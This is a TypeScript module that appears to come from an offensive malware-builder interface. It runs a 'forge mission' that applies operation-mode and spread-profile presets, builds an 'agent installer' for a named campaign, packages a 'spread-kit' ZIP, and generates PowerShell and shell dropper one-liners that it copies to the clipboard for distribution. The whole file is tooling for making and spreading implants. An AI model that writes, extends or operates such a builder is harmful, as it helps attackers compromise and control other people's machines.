import type { BuildRequest, BuildResponse } from '../types'; import { normalizeForgeForm } from './forgeFormNormalize'; import { applyOperationMode, type OperationModeId } from './forgeOperationModes'; import { applySpreadProfile, type SpreadProfileId } from './spreadProfiles'; import { combinedDropperQuery, getUrl, ps1Oneliner, shOneliner, } from './emberwake'; export const MISSION_STEPS = ['configure', 'forge', 'export'] as const; export type MissionStep = (typeof MISSION_STEPS)[number] | 'done' | 'error'; export const MISSION_STEP_LABELS: Record<(typeof MISSION_STEPS)[number], string> = { configure: 'Apply loadout presets', forge: 'Build agent installer', export: 'Package spread-kit ZIP', }; export interface MissionLinks { ps1: string; sh: string; get: string; clipboardText: string; } export interface MissionResult { build: BuildResponse; exportSkipped: boolean; } export interface MissionApi { buildAgent: (req: BuildRequest, prepFile?: File | null) => Promise; exportSpreadKit: (req: { build_id: string; server_url: string; campaign: string }) => Promise; } export function applyMissionPresets( form: BuildRequest, operationMode: OperationModeId, spreadProfile: SpreadProfileId | '', ): BuildRequest { let next = applyOperationMode(form, operationMode); if (spreadProfile) { next = applySpreadProfile(next, spreadProfile); } return normalizeForgeForm(next); } export function buildMissionLinks( serverBase: string, buildId: string, campaign: string, ): MissionLinks { const query = combinedDropperQuery(buildId, campaign); const ps1 = ps1Oneliner(serverBase, query); const sh = shOneliner(serverBase, query); const get = getUrl(serverBase, query); const clipboardText = [ps1, sh, get].join('\n\n'); return { ps1, sh, get, clipboardText }; } export function missionStepIndex(step: MissionStep): number { if (step === 'done' || step === 'error') return MISSION_STEPS.length; const idx = MISSION_STEPS.indexOf(step as (typeof MISSION_STEPS)[number]); return idx < 0 ? -1 : idx; } export function missionStepStatus( step: (typeof MISSION_STEPS)[number], current: MissionStep, exportSkipped: boolean, ): 'pending' | 'active' | 'done' | 'skipped' | 'error' { if (current === 'error') { const idx = MISSION_STEPS.indexOf(step); const curIdx = missionStepIndex(current); if (idx < curIdx) return 'done'; if (idx === curIdx) return 'error'; return 'pending'; } if (step === 'export' && exportSkipped) return 'skipped'; const idx = MISSION_STEPS.indexOf(step); const curIdx = missionStepIndex(current); if (curIdx < 0) return 'pending'; if (idx < curIdx) return 'done'; if (idx === curIdx) return 'active'; return 'pending'; } export async function copyMissionLinks(links: MissionLinks): Promise { if (typeof navigator !== 'undefined' && navigator.clipboard?.writeText) { await navigator.clipboard.writeText(links.clipboardText); return; } throw new Error('Clipboard unavailable'); } export async function runForgeMission(opts: { form: BuildRequest; operationMode: OperationModeId; spreadProfile: SpreadProfileId | ''; campaign: string; serverBase: string; fusionPrepFile?: File | null; api: MissionApi; onStep?: (step: MissionStep) => void; cancelToken?: string; }): Promise { const { form, operationMode, spreadProfile, campaign, serverBase, fusionPrepFile, api, onStep, cancelToken, } = opts; onStep?.('configure'); const configured = applyMissionPresets(form, operationMode, spreadProfile); onStep?.('forge'); const build = await api.buildAgent( { ...configured, cancel_token: cancelToken }, fusionPrepFile, ); if (!build.success) { throw new Error(build.error || 'Build failed'); } const buildId = build.build_id?.trim(); if (!buildId) { throw new Error('Build succeeded but no build_id returned'); } const exportSkipped = !configured.spread_kit; if (!exportSkipped) { onStep?.('export'); await api.exportSpreadKit({ build_id: buildId, server_url: serverBase, campaign, }); } onStep?.('done'); return { build, exportSkipped }; }